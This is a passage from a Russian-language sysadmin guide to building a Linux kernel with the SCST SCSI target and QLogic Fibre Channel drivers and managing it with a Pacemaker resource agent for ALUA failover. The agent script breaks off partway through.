CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4
CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y
CONFIG_COMPACTION=y
CONFIG_MIGRATION=y
CONFIG_ARCH_ENABLE_HUGEPAGE_MIGRATION=y
CONFIG_PHYS_ADDR_T_64BIT=y
CONFIG_ZONE_DMA_FLAG=1
CONFIG_BOUNCE=y
CONFIG_VIRT_TO_BUS=y
CONFIG_DEFAULT_MMAP_MIN_ADDR=0
CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y
CONFIG_MEMORY_FAILURE=y
CONFIG_TRANSPARENT_HUGEPAGE=y
CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS=y
CONFIG_CROSS_MEMORY_ATTACH=y
CONFIG_X86_RESERVE_LOW=64
CONFIG_MTRR=y
CONFIG_MTRR_SANITIZER=y
CONFIG_MTRR_SANITIZER_ENABLE_DEFAULT=1
CONFIG_MTRR_SANITIZER_SPARE_REG_NR_DEFAULT=1
CONFIG_X86_PAT=y
CONFIG_ARCH_USES_PG_UNCACHED=y
CONFIG_ARCH_RANDOM=y
CONFIG_X86_SMAP=y
CONFIG_SECCOMP=y
CONFIG_HZ_100=y
CONFIG_HZ=100
CONFIG_SCHED_HRTICK=y
CONFIG_PHYSICAL_START=0x1000000
CONFIG_PHYSICAL_ALIGN=0x1000000
CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y
CONFIG_USE_PERCPU_NUMA_NODE_ID=y
CONFIG_ACPI=y
CONFIG_ACPI_FAN=y
CONFIG_ACPI_PROCESSOR=y
CONFIG_ACPI_THERMAL=y
CONFIG_ACPI_NUMA=y
CONFIG_X86_PM_TIMER=y
CONFIG_ACPI_HED=y
CONFIG_ACPI_APEI=y
CONFIG_ACPI_APEI_GHES=y
CONFIG_ACPI_APEI_PCIEAER=y
CONFIG_ACPI_APEI_MEMORY_FAILURE=y
CONFIG_ACPI_EXTLOG=y
CONFIG_CPU_FREQ=y
CONFIG_CPU_FREQ_GOV_COMMON=y
CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y
CONFIG_CPU_FREQ_GOV_PERFORMANCE=y
CONFIG_CPU_FREQ_GOV_ONDEMAND=y
CONFIG_X86_ACPI_CPUFREQ=y
CONFIG_CPU_IDLE=y
CONFIG_CPU_IDLE_MULTIPLE_DRIVERS=y
CONFIG_CPU_IDLE_GOV_LADDER=y
CONFIG_CPU_IDLE_GOV_MENU=y
CONFIG_INTEL_IDLE=y
CONFIG_PCI=y
CONFIG_PCI_DIRECT=y
CONFIG_PCI_MMCONFIG=y
CONFIG_PCI_DOMAINS=y
CONFIG_PCIEPORTBUS=y
CONFIG_PCIEAER=y
CONFIG_PCIEASPM=y
CONFIG_PCIEASPM_PERFORMANCE=y
CONFIG_PCI_MSI=y
CONFIG_PCI_LABEL=y
CONFIG_ISA_DMA_API=y
CONFIG_AMD_NB=y
CONFIG_BINFMT_ELF=y
CONFIG_COMPAT_BINFMT_ELF=y
CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE=y
CONFIG_BINFMT_SCRIPT=y
CONFIG_COREDUMP=y
CONFIG_IA32_EMULATION=y
CONFIG_X86_X32=y
CONFIG_COMPAT=y
CONFIG_COMPAT_FOR_U64_ALIGNMENT=y
CONFIG_SYSVIPC_COMPAT=y
CONFIG_X86_DEV_DMA_OPS=y
CONFIG_IOSF_MBI=m
CONFIG_NET=y
CONFIG_PACKET=y
CONFIG_PACKET_DIAG=y
CONFIG_UNIX=y
CONFIG_UNIX_DIAG=y
CONFIG_INET=y
CONFIG_TCP_ZERO_COPY_TRANSFER_COMPLETION_NOTIFICATION=y
CONFIG_IP_MULTICAST=y
CONFIG_NET_IPIP=y
CONFIG_NET_IPGRE_DEMUX=y
CONFIG_NET_IP_TUNNEL=y
CONFIG_NET_IPGRE=y
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_INET_TUNNEL=y
CONFIG_INET_LRO=y
CONFIG_INET_DIAG=y
CONFIG_INET_TCP_DIAG=y
CONFIG_INET_UDP_DIAG=y
CONFIG_TCP_CONG_ADVANCED=y
CONFIG_TCP_CONG_HTCP=y
CONFIG_DEFAULT_HTCP=y
CONFIG_DEFAULT_TCP_CONG="htcp"
CONFIG_STP=y
CONFIG_BRIDGE=y
CONFIG_HAVE_NET_DSA=y
CONFIG_VLAN_8021Q=y
CONFIG_LLC=y
CONFIG_NETLINK_MMAP=y
CONFIG_NETLINK_DIAG=y
CONFIG_RPS=y
CONFIG_RFS_ACCEL=y
CONFIG_XPS=y
CONFIG_NET_RX_BUSY_POLL=y
CONFIG_BQL=y
CONFIG_NET_FLOW_LIMIT=y
CONFIG_HAVE_BPF_JIT=y
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
CONFIG_CONNECTOR=y
CONFIG_PROC_EVENTS=y
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
CONFIG_PNP=y
CONFIG_PNPACPI=y
CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=8
CONFIG_HAVE_IDE=y
CONFIG_SCSI_MOD=y
CONFIG_RAID_ATTRS=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_NETLINK=y
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_SG=y
CONFIG_SCSI_MULTI_LUN=y
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_SCAN_ASYNC=y
CONFIG_SCSI_FC_ATTRS=y
CONFIG_SCSI_SAS_ATTRS=y
CONFIG_SCSI_LOWLEVEL=y
CONFIG_MEGARAID_SAS=y
CONFIG_ATA=y
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_ATA_ACPI=y
CONFIG_SATA_PMP=y
CONFIG_SATA_AHCI=y
CONFIG_SATA_AHCI_PLATFORM=y
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_AUTODETECT=y
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID10=y
CONFIG_MD_RAID456=y
CONFIG_BLK_DEV_DM_BUILTIN=y
CONFIG_BLK_DEV_DM=y
CONFIG_DM_CRYPT=y
CONFIG_DM_ZERO=y
CONFIG_DM_UEVENT=y
CONFIG_NETDEVICES=y
CONFIG_NET_CORE=y
CONFIG_BONDING=y
CONFIG_NET_FC=y
CONFIG_NETCONSOLE=y
CONFIG_NETCONSOLE_DYNAMIC=y
CONFIG_NETPOLL=y
CONFIG_NETPOLL_TRAP=y
CONFIG_NET_POLL_CONTROLLER=y
CONFIG_TUN=y
CONFIG_ETHERNET=y
CONFIG_MDIO=y
CONFIG_NET_VENDOR_INTEL=y
CONFIG_E1000E=y
CONFIG_IGB=y
CONFIG_IGB_HWMON=y
CONFIG_IGB_DCA=y
CONFIG_IXGBE=y
CONFIG_IXGBE_HWMON=y
CONFIG_IXGBE_DCA=y
CONFIG_PPP=y
CONFIG_PPP_DEFLATE=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_MULTILINK=y
CONFIG_PPPOE=y
CONFIG_PPP_ASYNC=y
CONFIG_PPP_SYNC_TTY=y
CONFIG_SLHC=y
CONFIG_INPUT=y
CONFIG_INPUT_MOUSEDEV=y
CONFIG_INPUT_MOUSEDEV_PSAUX=y
CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768
CONFIG_INPUT_KEYBOARD=y
CONFIG_KEYBOARD_ATKBD=y
CONFIG_SERIO=y
CONFIG_ARCH_MIGHT_HAVE_PC_SERIO=y
CONFIG_SERIO_I8042=y
CONFIG_SERIO_SERPORT=y
CONFIG_SERIO_LIBPS2=y
CONFIG_TTY=y
CONFIG_VT=y
CONFIG_CONSOLE_TRANSLATIONS=y
CONFIG_VT_CONSOLE=y
CONFIG_HW_CONSOLE=y
CONFIG_VT_HW_CONSOLE_BINDING=y
CONFIG_UNIX98_PTYS=y
CONFIG_SERIAL_8250=y
CONFIG_SERIAL_8250_DEPRECATED_OPTIONS=y
CONFIG_SERIAL_8250_PNP=y
CONFIG_SERIAL_8250_CONSOLE=y
CONFIG_FIX_EARLYCON_MEM=y
CONFIG_SERIAL_8250_DMA=y
CONFIG_SERIAL_8250_PCI=y
CONFIG_SERIAL_8250_NR_UARTS=2
CONFIG_SERIAL_8250_RUNTIME_UARTS=2
CONFIG_SERIAL_CORE=y
CONFIG_SERIAL_CORE_CONSOLE=y
CONFIG_HPET=y
CONFIG_HPET_MMAP=y
CONFIG_HPET_MMAP_DEFAULT=y
CONFIG_DEVPORT=y
CONFIG_I2C=y
CONFIG_I2C_BOARDINFO=y
CONFIG_I2C_CHARDEV=y
CONFIG_I2C_HELPER_AUTO=y
CONFIG_I2C_ALGOBIT=y
CONFIG_I2C_I801=y
CONFIG_I2C_SCMI=y
CONFIG_PPS=y
CONFIG_PTP_1588_CLOCK=y
CONFIG_ARCH_WANT_OPTIONAL_GPIOLIB=y
CONFIG_HWMON=y
CONFIG_HWMON_VID=y
CONFIG_SENSORS_CORETEMP=y
CONFIG_SENSORS_JC42=y
CONFIG_SENSORS_W83627EHF=y
CONFIG_SENSORS_ACPI_POWER=y
CONFIG_THERMAL=y
CONFIG_THERMAL_HWMON=y
CONFIG_THERMAL_DEFAULT_GOV_STEP_WISE=y
CONFIG_THERMAL_GOV_STEP_WISE=y
CONFIG_SSB_POSSIBLE=y
CONFIG_BCMA_POSSIBLE=y
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
CONFIG_VGA_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_HID=y
CONFIG_HIDRAW=y
CONFIG_HID_GENERIC=y
CONFIG_HID_A4TECH=y
CONFIG_HID_APPLE=y
CONFIG_HID_BELKIN=y
CONFIG_HID_CHERRY=y
CONFIG_HID_CHICONY=y
CONFIG_HID_CYPRESS=y
CONFIG_HID_EZKEY=y
CONFIG_HID_KENSINGTON=y
CONFIG_HID_LOGITECH=y
CONFIG_HID_MICROSOFT=y
CONFIG_HID_MONTEREY=y
CONFIG_USB_HID=y
CONFIG_USB_HIDDEV=y
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=y
CONFIG_USB_DEFAULT_PERSIST=y
CONFIG_USB_XHCI_HCD=y
CONFIG_USB_EHCI_HCD=y
CONFIG_USB_EHCI_ROOT_HUB_TT=y
CONFIG_USB_EHCI_TT_NEWSCHED=y
CONFIG_USB_EHCI_PCI=y
CONFIG_USB_EHCI_HCD_PLATFORM=y
CONFIG_USB_UHCI_HCD=y
CONFIG_USB_ACM=y
CONFIG_USB_WDM=y
CONFIG_USB_STORAGE=y
CONFIG_USB_SERIAL=y
CONFIG_USB_SERIAL_CONSOLE=y
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_FTDI_SIO=y
CONFIG_USB_SERIAL_PL2303=y
CONFIG_USB_SERIAL_WWAN=y
CONFIG_USB_SERIAL_OPTION=y
CONFIG_EDAC=y
CONFIG_EDAC_MM_EDAC=y
CONFIG_EDAC_GHES=y
CONFIG_EDAC_I7CORE=y
CONFIG_EDAC_SBRIDGE=y
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
CONFIG_RTC_DRV_CMOS=y
CONFIG_DMADEVICES=y
CONFIG_INTEL_IOATDMA=y
CONFIG_DMA_ENGINE=y
CONFIG_DMA_ACPI=y
CONFIG_ASYNC_TX_DMA=y
CONFIG_DMA_ENGINE_RAID=y
CONFIG_DCA=y
CONFIG_CLKEVT_I8253=y
CONFIG_I8253_LOCK=y
CONFIG_CLKBLD_I8253=y
CONFIG_FIRMWARE_MEMMAP=y
CONFIG_DMIID=y
CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y
CONFIG_UEFI_CPER=y
CONFIG_DCACHE_WORD_ACCESS=y
CONFIG_EXT4_FS=y
CONFIG_EXT4_USE_FOR_EXT23=y
CONFIG_JBD2=y
CONFIG_FS_MBCACHE=y
CONFIG_EXPORTFS=y
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
CONFIG_FUSE_FS=y
CONFIG_CUSE=y
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=y
CONFIG_UDF_NLS=y
CONFIG_FAT_FS=y
CONFIG_MSDOS_FS=y
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
CONFIG_PROC_FS=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_HUGETLBFS=y
CONFIG_HUGETLB_PAGE=y
CONFIG_CONFIGFS_FS=y
CONFIG_MISC_FILESYSTEMS=y
CONFIG_PSTORE=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="utf8"
CONFIG_NLS_CODEPAGE_437=y
CONFIG_NLS_CODEPAGE_855=y
CONFIG_NLS_CODEPAGE_866=y
CONFIG_NLS_CODEPAGE_1251=y
CONFIG_NLS_ASCII=y
CONFIG_NLS_ISO8859_1=y
CONFIG_NLS_ISO8859_5=y
CONFIG_NLS_ISO8859_15=y
CONFIG_NLS_KOI8_R=y
CONFIG_NLS_UTF8=y
CONFIG_TRACE_IRQFLAGS_SUPPORT=y
CONFIG_PRINTK_TIME=y
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
CONFIG_FRAME_WARN=1024
CONFIG_STRIP_ASM_SYMS=y
CONFIG_ARCH_WANT_FRAME_POINTERS=y
CONFIG_MAGIC_SYSRQ=y
CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x1
CONFIG_HAVE_DEBUG_KMEMLEAK=y
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_HAVE_DEBUG_STACKOVERFLOW=y
CONFIG_HAVE_ARCH_KMEMCHECK=y
CONFIG_PANIC_ON_OOPS_VALUE=0
CONFIG_PANIC_TIMEOUT=0
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_RCU_CPU_STALL_TIMEOUT=60
CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y
CONFIG_USER_STACKTRACE_SUPPORT=y
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_FP_TEST=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y
CONFIG_HAVE_DYNAMIC_FTRACE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y
CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_HAVE_FENTRY=y
CONFIG_HAVE_C_RECORDMCOUNT=y
CONFIG_TRACING_SUPPORT=y
CONFIG_HAVE_ARCH_KGDB=y
CONFIG_STRICT_DEVMEM=y
CONFIG_X86_VERBOSE_BOOTUP=y
CONFIG_EARLY_PRINTK=y
CONFIG_DOUBLEFAULT=y
CONFIG_HAVE_MMIOTRACE_SUPPORT=y
CONFIG_IO_DELAY_TYPE_0X80=0
CONFIG_IO_DELAY_TYPE_0XED=1
CONFIG_IO_DELAY_TYPE_UDELAY=2
CONFIG_IO_DELAY_TYPE_NONE=3
CONFIG_IO_DELAY_0X80=y
CONFIG_DEFAULT_IO_DELAY_TYPE=0
CONFIG_OPTIMIZE_INLINING=y
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_XOR_BLOCKS=y
CONFIG_ASYNC_CORE=y
CONFIG_ASYNC_MEMCPY=y
CONFIG_ASYNC_XOR=y
CONFIG_ASYNC_PQ=y
CONFIG_ASYNC_RAID6_RECOV=y
CONFIG_CRYPTO=y
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
CONFIG_CRYPTO_USER=y
CONFIG_CRYPTO_GF128MUL=y
CONFIG_CRYPTO_PCRYPT=y
CONFIG_CRYPTO_WORKQUEUE=y
CONFIG_CRYPTO_CRYPTD=y
CONFIG_CRYPTO_ABLK_HELPER=y
CONFIG_CRYPTO_GLUE_HELPER_X86=y
CONFIG_CRYPTO_CBC=y
CONFIG_CRYPTO_LRW=y
CONFIG_CRYPTO_XTS=y
CONFIG_CRYPTO_CMAC=y
CONFIG_CRYPTO_HMAC=y
CONFIG_CRYPTO_XCBC=y
CONFIG_CRYPTO_VMAC=y
CONFIG_CRYPTO_CRC32C=y
CONFIG_CRYPTO_CRC32C_INTEL=y
CONFIG_CRYPTO_CRC32=y
CONFIG_CRYPTO_CRC32_PCLMUL=y
CONFIG_CRYPTO_CRCT10DIF=y
CONFIG_CRYPTO_CRCT10DIF_PCLMUL=y
CONFIG_CRYPTO_SHA1=y
CONFIG_CRYPTO_SHA1_SSSE3=y
CONFIG_CRYPTO_SHA256_SSSE3=y
CONFIG_CRYPTO_SHA512_SSSE3=y
CONFIG_CRYPTO_SHA256=y
CONFIG_CRYPTO_SHA512=y
CONFIG_CRYPTO_GHASH_CLMUL_NI_INTEL=y
CONFIG_CRYPTO_AES=y
CONFIG_CRYPTO_AES_X86_64=y
CONFIG_CRYPTO_AES_NI_INTEL=y
CONFIG_HAVE_KVM=y
CONFIG_RAID6_PQ=y
CONFIG_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_STRNLEN_USER=y
CONFIG_GENERIC_NET_UTILS=y
CONFIG_GENERIC_FIND_FIRST_BIT=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IOMAP=y
CONFIG_GENERIC_IO=y
CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y
CONFIG_CRC_CCITT=y
CONFIG_CRC16=y
CONFIG_CRC_T10DIF=y
CONFIG_CRC_ITU_T=y
CONFIG_CRC32=y
CONFIG_CRC32_SLICEBY8=y
CONFIG_LIBCRC32C=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=y
CONFIG_GENERIC_ALLOCATOR=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_CHECK_SIGNATURE=y
CONFIG_CPU_RMAP=y
CONFIG_DQL=y
CONFIG_NLATTR=y
CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y
CONFIG_DDR=y
```
Запускаем компиляцию и сборку в deb-пакет:
```
# cd /usr/src/linux-3.14.xx
# fakeroot make-kpkg clean
# CONCURRENCY_LEVEL=12 fakeroot make-kpkg --us --uc --jobs 12 --stem=kernel-scst --revision=1 kernel_image
```
Затем выкачиваем SCST, собираем и устанавливаем (указываем путь к исходникам ядра):
```
# svn checkout svn://svn.code.sf.net/p/scst/svn/branches/3.0.x scst-svn
# cd scst-svn
# BUILD_2X_MODULE=y CONFIG_SCSI_QLA_FC=y CONFIG_SCSI_QLA2XXX_TARGET=y KDIR="/usr/src/linux-3.14.xx" make all install
```
Более развёрнутую инструкцию по установке SCST с драйвером под QLogic можно найти на [сайте проекта](http://scst.sourceforge.net/qla2x00t-howto.html) (но там собирается драйвер QLogic из их GIT дерева, который мне не показался особо стабильным. Мы же возьмём драйвер из комплекта SCST).
В результате мы получили пакет с ядром + директорию **/lib/modules/3.14.xx/extra** с модулями SCST, которые нужно будет скопировать вручную на сервера. Можно, конечно, придумать способ интеграции их прямо в .deb пакет, но мне было лень.
Для работы FC карт также нужна прошивка, которую можно как залить в адаптер (точнее — обновить, ибо какая-то там уже есть), так и просто положить в **/lib/firmware** и драйвер при загрузке её оттуда подтянет. Я, для верности, да и производитель рекомендует, сделал и то и то. Прошить можно либо через линуксовую утилиту от QLogic — qaucli, либо из под FreeDOS (или EFI) их же софтом с сайта.
Качаем прошивку (в нашем случае это ql2500\_fw.bin) и кладём на место:
```
# mkdir -p /lib/firmware
# cd /lib/firmware
# wget http://ldriver.qlogic.com/firmware/ql2500_fw.bin
```
Далее нам понадобится утилита управления SCST под ёмким названием **scstadmin** и библиотеки, ей используемые. Саму утилиту берём в дереве исходников SCST: **scstadmin/scstadmin.sysfs/scstadmin** и кладём её на наши сервера куда-нибудь в /usr/bin, чтобы всем видно было. Затем берём директорию **scstadmin/scstadmin.sysfs/scst-0.9.10/lib/SCST** и кладём её в **/usr/lib/perl/<версия Perl>**.
Затем устанавливаем Pacemaker чтобы рулить нашим кластером и генерируем ключ авторизации.
Pacemaker будет переключать режимы ALUA в зависимости от состояния нод.
```
# apt-get -t wheezy-backports install pacemaker
# corosync-keygen
```
Файл-ключ **/etc/corosync/authkey** переносим на второй сервер в то же место.
Для управления SCST через Pacemaker нам понадобится «ресурс», который я утащил из проекта ESOS и подкрутил под себя.
**Ресурс**
```
#! /bin/sh
#
# $Id$
#
# Resource Agent for managing the Generic SCSI Target Subsystem
# for Linux (SCST) and related daemons.
#
# License: GNU General Public License (GPL)
# (c) 2012-2014 Marc A. Smith
#
# Initialization
: ${OCF_FUNCTIONS_DIR=${OCF_ROOT}/lib/heartbeat}
. ${OCF_FUNCTIONS_DIR}/ocf-shellfuncs
MODULES="scst scst_vdisk qla2x00tgt"
SCST_CFG="/etc/scst.conf"
PRE_SCST_CONF="/etc/pre-scst_xtra_conf"
POST_SCST_CONF="/etc/post-scst_xtra_conf"
SCST_SYSFS="/sys/kernel/scst_tgt"
ALUA_STATES="active nonoptimized standby unavailable offline transitioning"
NO_CLOBBER="/tmp/scst_ra-no_clobber"
# For optional SCST modules
if [ -f "/lib/modules/$(uname -r)/extra/ocs_fc_scst.ko" ]; then
MODULES="${MODULES} ocs_fc_scst"
fi
if [ -f "/lib/modules/$(uname -r)/extra/chfcoe.ko" ]; then
MODULES="${MODULES} chfcoe"
fi
scst_start() {
# Exit immediately if configuration is not valid
scst_validate_all || exit ${?}
# If resource is already running, bail out early
if scst_monitor; then
ocf_log info "Resource is already running."
return ${OCF_SUCCESS}
fi
# If our pre-SCST file exists, run it
if [ -f "${PRE_SCST_CONF}" ]; then
ocf_log info "Pre-SCST user config. file found; running..."
ocf_run -warn sh "${PRE_SCST_CONF}"
fi
# Load all modules
ocf_log info "Loading kernel modules..."
for i in ${MODULES}; do
ocf_log debug "scst_start() -> Module: ${i}"
if [ -d /sys/module/${i} ]; then
ocf_log warn "The ${i} module is already loaded!"
else
ocf_run modprobe ${i} || exit ${OCF_ERR_GENERIC}
fi
done
# Configure SCST
if [ -f "${SCST_CFG}" ]; then
ocf_log info "Applying SCST configuration..."
ocf_run scstadmin -config "${SCST_CFG}"
# Prevent scst_stop() from clobbering the configuration file
if [ ${?} -ne 0 ]; then
ocf_log err "Something is wrong with the SCST configuration!"
ocf_run touch "${NO_CLOBBER}"
exit ${OCF_ERR_GENERIC}
else
if [ -f "${NO_CLOBBER}" ]; then
ocf_run rm -f "${NO_CLOBBER}"
fi
fi
fi
# If our post-SCST file exists, run it
if [ -f "${POST_SCST_CONF}" ]; then
ocf_log info "Post-SCST user config. file found; running..."
ocf_run -warn sh "${POST_SCST_CONF}"
fi
# If we are using ALUA, be sure we are using the "Slave" state initially
if ocf_is_true ${OCF_RESKEY_alua}; then
check_alua
# Set the local target group ALUA state
ocf_log debug "scst_start() -> Setting target group" \
"'${OCF_RESKEY_local_tgt_grp}' ALUA state to" \
"'${OCF_RESKEY_s_alua_state}'..."
ocf_run scstadmin -noprompt -set_tgrp_attr \
${OCF_RESKEY_local_tgt_grp} -dev_group \
${OCF_RESKEY_device_group} -attributes \
state\=${OCF_RESKEY_s_alua_state} || exit ${OCF_ERR_GENERIC}
# For now, we simply assume the other node is the Master
ocf_log debug "scst_start() -> Setting target group" \
"'${OCF_RESKEY_remote_tgt_grp}' ALUA state to" \
"'${OCF_RESKEY_m_alua_state}'..."
ocf_run scstadmin -noprompt -set_tgrp_attr \
${OCF_RESKEY_remote_tgt_grp} -dev_group \
${OCF_RESKEY_device_group} -attributes \
state\=${OCF_RESKEY_m_alua_state} || exit ${OCF_ERR_GENERIC}
fi
# Make sure the resource started correctly
while ! scst_monitor; do
ocf_log debug "scst_start() -> Resource has not started yet, waiting..."
sleep 1
done
# Only return $OCF_SUCCESS if _everything_ succeeded as expected
return ${OCF_SUCCESS}
}
scst_stop() {
# Exit immediately if configuration is not valid
scst_validate_all || exit ${?}
# Check the current resource state
scst_monitor
local rc=${?}
case "${rc}" in
"${OCF_SUCCESS}")
# Currently running; normal, expected behavior
ocf_log info "Resource is currently running."
;;
"${OCF_RUNNING_MASTER}")
# Running as a Master; need to demote before stopping
ocf_log info "Resource is currently running as Master."
scst_demote || ocf_log warn "Demote failed, trying to stop anyway..."
;;
"${OCF_NOT_RUNNING}")
# Currently not running; nothing to do
ocf_log info "Resource is already stopped."
return ${OCF_SUCCESS}
;;
esac
# Unload the modules (in reverse)
ocf_log info "Unloading kernel modules..."
for i in $(echo ${MODULES} | tr ' ' '\n' | tac | tr '\n' ' '); do
ocf_log debug "scst_stop() -> Module: ${i}"
if [ -d /sys/module/${i} ]; then
ocf_run rmmod -w ${i} || exit ${OCF_ERR_GENERIC}
else
ocf_log warn "The ${i} module is not loaded!"
fi
done
# Make sure the resource stopped correctly
while scst_monitor; do
ocf_log info "scst_stop() -> Resource has not stopped yet, waiting..."
sleep 1
done
# Only return $OCF_SUCCESS if _everything_ succeeded as expected
return ${OCF_SUCCESS}
}
scst_monitor() {
# Exit immediately if configuration is not valid
scst_validate_all || exit ${?}
# Check if SCST is loaded
local rc
if [ -e "${SCST_SYSFS}/version" ]; then
ocf_log debug "scst_monitor() -> SCST version:" \
"$(cat ${SCST_SYSFS}/version)"
ocf_log debug "scst_monitor() -> Resource is running."
crm_master -l reboot -v 100
rc=${OCF_SUCCESS}
else
ocf_log debug "scst_monitor() -> Resource is not running."
crm_master -l reboot -D
rc=${OCF_NOT_RUNNING}
return ${rc}
fi
# If we are using ALUA, then we can test if we are Master or not
if ocf_is_true ${OCF_RESKEY_alua}; then
dev_grp_path="${SCST_SYSFS}/device_groups/${OCF_RESKEY_device_group}"
tgt_grp_path="${dev_grp_path}/target_groups/${OCF_RESKEY_local_tgt_grp}"
tgt_grp_state="$(head -1 ${tgt_grp_path}/state)"
ocf_log debug "scst_monitor() -> SCST local target" \
"group state: ${tgt_grp_state}"
if [ "x${tgt_grp_state}" = "x${OCF_RESKEY_m_alua_state}" ]; then
rc=${OCF_RUNNING_MASTER}
fi
fi
return ${rc}
}
scst_validate_all() {
# Test for required binaries
check_binary scstadmin
# There can only be one instance of SCST running per node
if [ ! -z "${OCF_RESKEY_CRM_meta_clone_node_max}" ] &&
[ "${OCF_RESKEY_CRM_meta_clone_node_max}" -ne 1 ]; then
ocf_log err "The 'clone-node-max' parameter must equal '1'."
exit ${OCF_ERR_CONFIGURED}
fi
# If ALUA support is enabled, we need to check the parameters
if ocf_is_true ${OCF_RESKEY_alua}; then
# Make sure they are set to something
if [ -z "${OCF_RESKEY_device_group}" ]; then
ocf_log err "The 'device_group' parameter is not set!"
exit ${OCF_ERR_CONFIGURED}
fi
if [ -z "${OCF_RESKEY_local_tgt_grp}" ]; then
ocf_log err "The 'local_tgt_grp' parameter is not set!"
exit ${OCF_ERR_CONFIGURED}
fi
if [ -z "${OCF_RESKEY_remote_tgt_grp}" ]; then
ocf_log err "The 'remote_tgt_grp' parameter is not set!"
exit ${OCF_ERR_CONFIGURED}
fi
if [ -z "${OCF_RESKEY_m_alua_state}" ]; then
ocf_log err "The 'm_alua_state' parameter is not set!"
exit ${OCF_ERR_CONFIGURED}
fi
if [ -z "${OCF_RESKEY_s_alua_state}" ]; then
ocf_log err "The 's_alua_state' parameter is not set!"
exit ${OCF_ERR_CONFIGURED}
fi
# Currently, we only support using one Master with this RA
if [ ! -z "${OCF_RESKEY_CRM_meta_master_max}" ] &&
[ "${OCF_RESKEY_CRM_meta_master_max}" -ne 1 ]; then
ocf_log err "The 'master-max' parameter must equal '1'."
exit ${OCF_ERR_CONFIGURED}
fi
if [ ! -z "${OCF_RESKEY_CRM_meta_master_node_max}" ] &&
[ "${OCF_RESKEY_CRM_meta_master_node_max}" -ne 1 ]; then
ocf_log err "The 'master-node-max' parameter must equal '1'."
exit ${OCF_ERR_CONFIGURED}
fi
fi
return ${OCF_SUCCESS}
}
scst_meta_data() {
cat <<-EOF
